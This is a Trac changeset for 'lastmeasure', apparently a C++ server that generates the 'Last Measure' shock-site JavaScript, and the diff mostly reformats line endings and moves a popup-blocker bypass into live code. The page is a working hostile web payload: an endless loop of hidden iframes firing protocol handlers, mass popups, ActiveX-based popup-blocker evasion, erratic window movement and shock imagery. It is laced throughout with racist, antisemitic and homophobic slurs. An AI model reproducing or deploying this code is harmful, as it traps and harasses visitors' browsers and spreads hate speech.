Changeset 561 for trollforge/lastmeasure
- Timestamp:
- 01/11/12 01:33:58 (17 months ago)
- Location:
- trollforge/lastmeasure/server
- Files:
-
- 2 edited
-
lmkeywords.h (modified) (1 diff)
-
lmresource.h (modified) (6 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/server/lmkeywords.h
r557 r561 28 28 "penis", "poz cum", "pozcum", "prostate massage", "sex gay movies", 29 29 "teen gay porn", "teen gays", 30 /* }}} 30 /* }}} */ 31 31 /* {{{ Jews */ 32 32 "academy for jewish religion", "allied jewish federation", "anti semitic", -
trollforge/lastmeasure/server/lmresource.h
r560 r561 9 9 10 10 static size_t imagecount = 31; 11 static size_t soundcount = 16;11 //static size_t soundcount = 16; 12 12 13 13 static char const *staticnames[] = … … 134 134 if (is_ie6) 135 135 { 136 data << PopupBypasser( );136 data << PopupBypasser(host); 137 137 data << DivertOnload(); 138 138 } … … 176 176 * -- goat-see 177 177 */ 178 "var nom = navigator.appName.toLowerCase(); "179 "var agt = navigator.userAgent.toLowerCase(); "180 "var is_major = parseInt(navigator.appVersion); "181 "var is_minor = parseFloat(navigator.appVersion); "182 "var is_ie = (agt.indexOf('msie') != -1); "183 "var is_ie4up = (is_ie && (is_major >= 4)); "184 "var is_nav = (nom.indexOf('netscape')!=-1); "185 "var is_nav4 = (is_nav && (is_major == 4)); "186 "var is_mac = (agt.indexOf('mac')!=-1); "187 "var is_gecko = (agt.indexOf('gecko') != -1); "178 "var nom = navigator.appName.toLowerCase();\r\n" 179 "var agt = navigator.userAgent.toLowerCase();\r\n" 180 "var is_major = parseInt(navigator.appVersion);\r\n" 181 "var is_minor = parseFloat(navigator.appVersion);\r\n" 182 "var is_ie = (agt.indexOf('msie') != -1);\r\n" 183 "var is_ie4up = (is_ie && (is_major >= 4));\r\n" 184 "var is_nav = (nom.indexOf('netscape')!=-1);\r\n" 185 "var is_nav4 = (is_nav && (is_major == 4));\r\n" 186 "var is_mac = (agt.indexOf('mac')!=-1);\r\n" 187 "var is_gecko = (agt.indexOf('gecko') != -1);\r\n" 188 188 189 189 // GECKO REVISION 190 "var is_rev = 0; "191 "if (is_gecko) { "192 " temp = agt.split('rv:'); "193 " is_rev = parseFloat(temp[1]); "194 "} "195 196 "function bookmark() { "190 "var is_rev = 0;\r\n" 191 "if (is_gecko) {\r\n" 192 " temp = agt.split('rv:');\r\n" 193 " is_rev = parseFloat(temp[1]);\r\n" 194 "}\r\n" 195 196 "function bookmark() {\r\n" 197 197 //" if (is_ie4up) {" 198 " window.external.AddFavorite(self.location.href, 'Google'); "198 " window.external.AddFavorite(self.location.href, 'Google');\r\n" 199 199 //" }" 200 "} "201 202 "function molish() { "203 " credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa, Penisbird, Rolloffle, Rucas, and sam.\\n\"; "204 " credits += \"Starring:\\n\"; "205 " credits += \"Tubgirl\\n\"; "206 " credits += \"Lemonparty\\n\"; "207 " credits += \"Kirk Johnson\\n\"; "208 " credits += \"Penisbird\\n\"; "209 " credits += \"Pillowfight\\n\"; "210 " credits += \"Christmas\\n\"; "211 " credits += \"Rusty's Wife\\n\"; "212 " credits += \"The Harlequin Fetus\\n\"; "213 " credits += \"Balloon Boy\\n\"; "214 " credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\"; "215 " credits += \"And much, much more!\\n\"; "216 " credits += \"\\n\\n\"; "217 " credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\"; "218 " credits += \"hey.swf by rkz\\n\"; "219 " credits += \"Updated by Dessimat0r, JacksonBrown, Jmax, JacksonBrown, timecop, weev, and others.\\n\"; "220 " switch(event.keyCode) { "221 " case 46: " // DEL222 " case 63272: " // DEL on the fucked-up Safari browser223 " alert(credits); "224 " break; "225 " case 17: " // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0'226 " case 18: " // ALT200 "}\r\n" 201 202 "function molish() {\r\n" 203 " credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa, Penisbird, Rolloffle, Rucas, and sam.\\n\";\r\n" 204 " credits += \"Starring:\\n\";\r\n" 205 " credits += \"Tubgirl\\n\";\r\n" 206 " credits += \"Lemonparty\\n\";\r\n" 207 " credits += \"Kirk Johnson\\n\";\r\n" 208 " credits += \"Penisbird\\n\";\r\n" 209 " credits += \"Pillowfight\\n\";\r\n" 210 " credits += \"Christmas\\n\";\r\n" 211 " credits += \"Rusty's Wife\\n\";\r\n" 212 " credits += \"The Harlequin Fetus\\n\";\r\n" 213 " credits += \"Balloon Boy\\n\";\r\n" 214 " credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\";\r\n" 215 " credits += \"And much, much more!\\n\";\r\n" 216 " credits += \"\\n\\n\";\r\n" 217 " credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\";\r\n" 218 " credits += \"hey.swf by rkz\\n\";\r\n" 219 " credits += \"Updated by Dessimat0r, JacksonBrown, Jmax, JacksonBrown, timecop, weev, and others.\\n\";\r\n" 220 " switch(event.keyCode) {\r\n" 221 " case 46:\r\n" // DEL 222 " case 63272:\r\n" // DEL on the fucked-up Safari browser 223 " alert(credits);\r\n" 224 " break;\r\n" 225 " case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0' 226 " case 18:\r\n" // ALT 227 227 //" case 81:" // W (As in "CTRL+W") 228 228 //" case 87:" // Q (As in "CTRL+Q") 229 " case 115: " // F4229 " case 115:\r\n" // F4 230 230 " alert(\"Our lawyer has informed us that we need a warning. So, if " 231 231 "you are under the age of 18 or find this offensive, please " 232 "leave immediately\"); "233 " break; "234 " } "235 "} "232 "leave immediately\");\r\n" 233 " break;\r\n" 234 " }\r\n" 235 "}\r\n" 236 236 237 237 /* FIXME … … 243 243 */ 244 244 245 "function procreate() { "246 " for(i = 0; i < 16; i++) { "247 " popUp(\"index.php?popup=1\"); "248 " } "249 "} "250 251 "function popUp(URL) { "252 " day = new Date(); "253 " id = day.getTime(); "254 " eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\"); "255 "} "256 257 "goatseflash = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">'; "258 "goatseflash += ' <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">'; "259 "goatseflash += ' <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />' "260 "goatseflash += ' <param name=\"wmode\" value=\"transparent\" />'; "261 "goatseflash += ' </object>' "262 "goatseflash += '</div>'; "263 264 "function load_goatse() { "265 " document.body.innerHTML += goatseflash; "266 " setTimeout(\"unload_goatse()\", 3000); " // 3s267 "} "268 269 "function unload_goatse() { "270 " document.getElementById(\"hello\").style.display = 'none'; "271 "} "272 273 "function noframes() { "274 " if (top.location.hostname != location.hostname) "275 " top.location.href = window.location.href; "276 "} "277 278 "var protos = [ "279 " \"http://" << host << "/lm.pdf\", "280 " \"http://" << host << "/lm2.pdf\", "281 " \"http://" << host << "/jews.wmv\", "282 " \"irc://irc.gnaa.eu/gnaa\", "283 " \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\", "284 " \"news:alt.flame.niggers\", "285 " \"news:alt.flame.faggots\", "286 " \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\", "287 " \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\", "288 //" \"aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL\", "289 " \"rlogin://1.1.1.1:80\", "290 " \"telnet://1.1.1.1:80\", "291 " \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\", "292 //" \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\", "293 " \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\", "294 " \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\", "295 " \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\" "296 " ]; "297 298 "function add(str) { "299 " div = document.getElementById('goatse'); "300 " div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>'; "301 "} "302 303 "function ruin() { "304 " document.body.innerHTML += '<div id=\"goatse\"> Y HALLO THAR!</div>';"305 " while (1) { "306 " for (i = 0; i < protos.length; i++) { "307 " add(protos[i]); "308 " } "309 " } "310 "} ";245 "function procreate() {\r\n" 246 " for(i = 0; i < 16; i++) {\r\n" 247 " popUp(\"index.php?popup=1\");\r\n" 248 " }\r\n" 249 "}\r\n" 250 251 "function popUp(URL) {\r\n" 252 " day = new Date();\r\n" 253 " id = day.getTime();\r\n" 254 " eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n" 255 "}\r\n" 256 257 "goatseflash = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';\r\n" 258 "goatseflash += ' <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';\r\n" 259 "goatseflash += ' <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'\r\n" 260 "goatseflash += ' <param name=\"wmode\" value=\"transparent\" />';\r\n" 261 "goatseflash += ' </object>'\r\n" 262 "goatseflash += '</div>';\r\n" 263 264 "function load_goatse() {\r\n" 265 " document.body.innerHTML += goatseflash;\r\n" 266 " setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s 267 "}\r\n" 268 269 "function unload_goatse() {\r\n" 270 " document.getElementById(\"hello\").style.display = 'none';\r\n" 271 "}\r\n" 272 273 "function noframes() {\r\n" 274 " if (top.location.hostname != location.hostname)\r\n" 275 " top.location.href = window.location.href;\r\n" 276 "}\r\n" 277 278 "var protos = [\r\n" 279 " \"http://" << host << "/lm.pdf\",\r\n" 280 " \"http://" << host << "/lm2.pdf\",\r\n" 281 " \"http://" << host << "/jews.wmv\",\r\n" 282 " \"irc://irc.gnaa.eu/gnaa\",\r\n" 283 " \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n" 284 " \"news:alt.flame.niggers\",\r\n" 285 " \"news:alt.flame.faggots\",\r\n" 286 " \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n" 287 " \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n" 288 //" \"aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL\",\r\n" 289 " \"rlogin://1.1.1.1:80\",\r\n" 290 " \"telnet://1.1.1.1:80\",\r\n" 291 " \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n" 292 //" \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n" 293 " \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n" 294 " \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n" 295 " \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\"\r\n" 296 " ];\r\n" 297 298 "function add(str) {\r\n" 299 " div = document.getElementById('goatse');\r\n" 300 " div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n" 301 "}\r\n" 302 303 "function ruin() {\r\n" 304 " document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n" 305 " while (1) {\r\n" 306 " for (i = 0; i < protos.length; i++) {\r\n" 307 " add(protos[i]);\r\n" 308 " }\r\n" 309 " }\r\n" 310 "}\r\n"; 311 311 312 312 return ret.str(); … … 368 368 ret << 369 369 370 "<script type=\"text/javascript\"> "371 "<!-- "372 " var images = new Array();\ n"373 " var imagecount = " << imagecount << "; ";370 "<script type=\"text/javascript\">\r\n" 371 "<!--\r\n" 372 " var images = new Array();\r\n" 373 " var imagecount = " << imagecount << ";\r\n"; 374 374 375 375 for(size_t i = 0; i < imagecount; i++) 376 376 { 377 ret << " images[" << i << "] = 'http://" << host << "images/" << staticnames[i] << "';\ n";377 ret << " images[" << i << "] = 'http://" << host << "images/" << staticnames[i] << "';\r\n"; 378 378 } 379 379 380 380 ret << 381 381 382 "var delay = 10; "383 "var step = .2; "384 "var curstep = 0; "382 "var delay = 10;\r\n" 383 "var step = .2;\r\n" 384 "var curstep = 0;\r\n" 385 385 386 "window.resizeTo(" << width << " , " << height << "); "387 "var centerX = (self.screen.width - document.body.clientWidth) / 2; "388 "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2; "389 "movew0w(); "386 "window.resizeTo(" << width << " , " << height << ");\r\n" 387 "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n" 388 "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n" 389 "movew0w();\r\n" 390 390 391 "function movew0w() { "392 " var j; "393 " for (j = 0; j < 5; j++) { "394 " curstep += step / 5; "395 " var factorX = Math.sin(curstep * 6.1) * 0.9; "396 " var factorY = Math.cos(curstep * 3.7) * 0.9; "391 "function movew0w() {\r\n" 392 " var j;\r\n" 393 " for (j = 0; j < 5; j++) {\r\n" 394 " curstep += step / 5;\r\n" 395 " var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n" 396 " var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n" 397 397 398 " factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)" 399 " * (Math.sin(10+curstep/(10+j))+0.2)" 400 " * Math.cos((curstep + j*25)/10);" 401 " factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)" 402 " * (Math.sin(10+curstep/10)+0.2)" 403 " * Math.cos((curstep + j*25)/10);" 404 " self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));" 405 " }" 406 407 " document.body.background = images[(Math.floor(curstep) % imagecount) + 1];" 408 " setTimeout(\"movew0w()\", delay);" 409 "}" 410 "// -->" 411 "</script>" 412 "}"; 398 " factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n" 399 " * (Math.sin(10+curstep/(10+j))+0.2)\r\n" 400 " * Math.cos((curstep + j*25)/10);\r\n" 401 " factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n" 402 " * (Math.sin(10+curstep/10)+0.2)\r\n" 403 " * Math.cos((curstep + j*25)/10);\r\n" 404 " self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n" 405 " }\r\n" 406 407 " document.body.background = images[(Math.floor(curstep) % imagecount) + 1];\r\n" 408 " setTimeout(\"movew0w()\", delay);\r\n" 409 "}\r\n" 410 "// -->\r\n" 411 "</script>\r\n"; 413 412 414 413 return ret.str(); … … 421 420 ret << 422 421 423 "<div> "424 " <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\"> "425 " <param name=\"ActivateApplets\" value=\"1\" /> "426 " <param name=\"ActivateActiveXControls\" value=\"1\" /> "427 " </object> ";428 "</div> ";422 "<div>\r\n" 423 " <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n" 424 " <param name=\"ActivateApplets\" value=\"1\" />\r\n" 425 " <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n" 426 " </object>\r\n" 427 "</div>\r\n"; 429 428 430 429 return ret.str(); 431 430 } 432 } 433 434 /* 435 data << ActivateApplets(); 436 if (is_ie6) 437 { 438 data << PopupBypasser(); 439 data << DivertOnload(); 440 } 441 442 function popup_bypasser() { 443 "<!-- This chunk bypasses popups -->\n"; 444 "<script type=\"text/javascript\">\n"; 445 "<!--\n"; 446 "function shellscript() {\n"; 447 "\tfor(i = 0; i < 5; i++) {\n"; 448 "\t\topen('http://".$_SERVER['SERVER_NAME']."/index.php?popup=1','_blank','scrollbar=no');\n"; 449 "\t}\n"; 450 "}\n"; 451 452 "function main() {\n"; 453 "\tx.DOM.Script.execScript(shellscript.toString());\n"; 454 "\tx.DOM.Script.setTimeout(\"shellscript()\");\n"; 455 "\tsetTimeout(\"main()\", 200);\n"; 456 "}\n"; 457 "// -->\n"; 458 "</script>\n"; 459 } 460 461 function divert_onload() { 462 "<script type=\"text/javascript\">\n"; 463 "\t<!--\n"; 464 "\tvar SymRealOnLoad;\n"; 465 "\tvar SymRealOnUnload;\n"; 466 "\tvar SymRealWinOpen;\n"; 467 468 "\tfunction SymOnUnload() {\n"; 469 "\t\twindow.open = SymWinOpen;\n"; 470 "\t\tif(SymRealOnUnload != null)\n"; 471 "\t\t\tSymRealOnUnload();\n"; 472 "\t}\n"; 473 474 "\tfunction SymOnLoad() {\n"; 475 "\t\tif(SymRealOnLoad != null)\n"; 476 "\t\t\tSymRealOnLoad();\n"; 477 "\t\twindow.open = SymRealWinOpen;\n"; 478 "\t\tSymRealOnUnload = window.onUnload;\n"; 479 "\t\twindow.onUnload = SymOnUnload;\n"; 480 "\t}\n"; 481 482 "\tSymRealOnLoad = window.onLoad;\n"; 483 "\twindow.onLoad = SymOnLoad;\n"; 484 "\t// -->\n"; 485 "</script>\n"; 486 } 487 488 */ 431 432 /* This chunk bypasses pop-ups */ 433 static std::string PopupBypasser(char const *host) 434 { 435 std::stringstream ret(""); 436 437 ret << 438 439 "<script type=\"text/javascript\">\r\n" 440 "<!--\r\n" 441 " function shellscript() {\r\n" 442 " for(i = 0; i < 5; i++) {\r\n" 443 " open('http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n" 444 " }\r\n" 445 " }\r\n" 446 447 " function main() {\r\n" 448 " x.DOM.Script.execScript(shellscript.toString());\r\n" 449 " x.DOM.Script.setTimeout(\"shellscript()\");\r\n" 450 " setTimeout(\"main()\", 200);\r\n" 451 " }\r\n" 452 "// -->\r\n" 453 "</script>\r\n"; 454 455 return ret.str(); 456 } 457 458 static std::string DivertOnload() 459 { 460 std::stringstream ret(""); 461 462 ret << 463 464 "<script type=\"text/javascript\">\r\n" 465 "<!--\r\n" 466 " var SymRealOnLoad;\r\n" 467 " var SymRealOnUnload;\r\n" 468 " var SymRealWinOpen;\r\n" 469 470 " function SymOnUnload() {\r\n" 471 " window.open = SymWinOpen;\r\n" 472 " if(SymRealOnUnload != null)\r\n" 473 " SymRealOnUnload();\r\n" 474 " }\r\n" 475 476 " function SymOnLoad() {\r\n" 477 " if(SymRealOnLoad != null)\r\n" 478 " SymRealOnLoad();\r\n" 479 " window.open = SymRealWinOpen;\r\n" 480 " SymRealOnUnload = window.onUnload;\r\n" 481 " window.onUnload = SymOnUnload;\r\n" 482 " }\r\n" 483 484 " SymRealOnLoad = window.onLoad;\r\n" 485 " window.onLoad = SymOnLoad;\r\n" 486 "// -->\r\n" 487 "</script>\r\n"; 488 489 return ret.str(); 490 } 491 492 //} 489 493 490 494 private:
Note: See TracChangeset
for help on using the changeset viewer.
